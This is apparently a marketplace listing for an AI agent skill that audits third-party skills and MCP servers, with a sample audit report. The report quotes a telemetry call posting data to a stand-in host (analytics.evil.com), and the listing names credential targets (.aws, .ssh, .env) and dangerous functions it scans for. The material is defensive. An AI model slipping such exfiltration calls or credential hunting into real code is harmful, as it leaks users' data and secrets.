Works with the AI Agents you already use
Skill Vetter: Is This Skill Safe?
Installing a third-party agent skill or MCP server shouldn't feel like a security gamble.
Free
Skill Vetter: Is This Skill Safe?
Example session with this skill installed
Review this skill for safety: https://github.com/example-user/fetch-emails-mcp. It claims to just list Gmail headers but I'm worried about it sending data elsewhere.
- Read your context and instructions
- Compiled the vetter
I have completed the security audit of the fetch-emails-mcp repository. I cloned the repo to an isolated environment and performed a static analysis of the source code, prompts, and dependencies.
Verdict: CAUTION
The skill functions as described, but it includes an undisclosed telemetry hook and uses unpinned dependencies that pose a supply-chain risk.
| # | Severity | File:line | Finding | Evidence | Fix |
|---|---|---|---|---|---|
| 1 | High | index.ts:88 | Undisclosed Network Call | axios.post('https://analytics.evil.com/log', data) | Remove the tracking telemetry block. |
| 2 | Medium | package.json:12 | Unpinned Dependency | "gmail-api-wrapper": "latest" | Pin to a specific, audited version hash. |
| 3 | Low | SKILL.md:42 | Over-broad Scope | Read all files in project root | Restrict access to specific email cache folders. |
Permissions it really needs:
- Network access to
googleapis.comfor Gmail API. - Read/Write access to a local
.cachedirectory for tokens.
What it does that the description doesn't mention:
- Logs metadata about your email volume to a third-party analytics endpoint (
analytics.evil.com). - Requests broad filesystem read access that is unnecessary for its stated purpose.
Safe-install notes:
- Pin all dependencies in
package.jsonbefore runningnpm install. - Comment out the telemetry POST request in
index.ts. - Run the MCP server using a container with restricted network egress (allow-list only).
Next steps
- Strip the telemetry code from
index.tsbefore deployment. - Update
package.jsonto use exact versioning for the Gmail wrapper. - Configure your agent to only grant read access to the specific mail data directory.
Connects securely to your tools. The creator never sees your data.
About this skill
Installing a third-party agent skill or MCP server shouldn't feel like a security gamble. Many packages contain hidden prompt injections, undisclosed network calls, or dependencies that attempt to exfiltrate your environment variables and SSH keys.
What it does
- Static file scanning lists every file to flag binaries, minified code, or suspicious base64 blobs before execution.
- Instruction auditing scans SKILL.md and README files for prompt injections, hidden Unicode characters, and scope creep.
- Code path analysis identifies dangerous functions like
eval,child_process, and raw socket connections that could lead to RCE. - Credential hunting searches for hardcoded patterns targeting
.aws,.ssh,.env, and local keychains. - Dependency vetting checks for typosquatting, unpinned versions, and malicious postinstall scripts in manifest files.
- Permission mapping compares the tool's requested access against its stated purpose to enforce least privilege.
How it works
- Inventory: Point the skill at a local folder, repo URL, or ZIP file to generate a full file manifest.
- Detection: Run automated greps for network calls, shell commands, and obfuscated text patterns.
- Manual Review: The agent reads identified blocks to classify the intent of every network call and data request.
- Scoring: It applies a severity rubric (Critical, High, Medium, Low) to each finding.
- Reporting: You receive a final Verdict (SAFE, CAUTION, or DO NOT INSTALL) with a table of evidence and required fixes.
Frameworks & tools
Works with any language or framework including Node.js (package.json), Python (requirements.txt, pyproject.toml), and MCP server configurations. It uses standard unix-style search patterns and static analysis.
Why this beats prompting it yourself
Generic prompts often miss "invisible" security threats like zero-width characters or white-on-white text used for prompt injection. This skill follows a rigorous, multi-step static analysis protocol that treats every external package as hostile until proven otherwise.
Use cases
- Auditing a new MCP server from GitHub before adding it to your local config.
- Reviewing a pasted SKILL.md for hidden instructions that might hijack your agent.
- Checking a third-party plugin for undisclosed data exfiltration to external APIs.
- Evaluating a PR for a team-shared skill to ensure no new risky dependencies were added.
Known limitations
Does not perform dynamic analysis or sandboxed execution. Large files over 200 KB and minified assets require manual investigation. Verdicts are based on visible code and cannot guarantee safety against unknown zero-day exploits.
Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Security.
No dynamic analysis or execution. Files > 200 KB and minified code flagged for manual review. Verdicts are based on static patterns only.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before buying a skill.
Reviews
This skill has been used 7 times.
Trust & safety
Security scan
Security scan passed 7 days ago
- Free with an Agensi account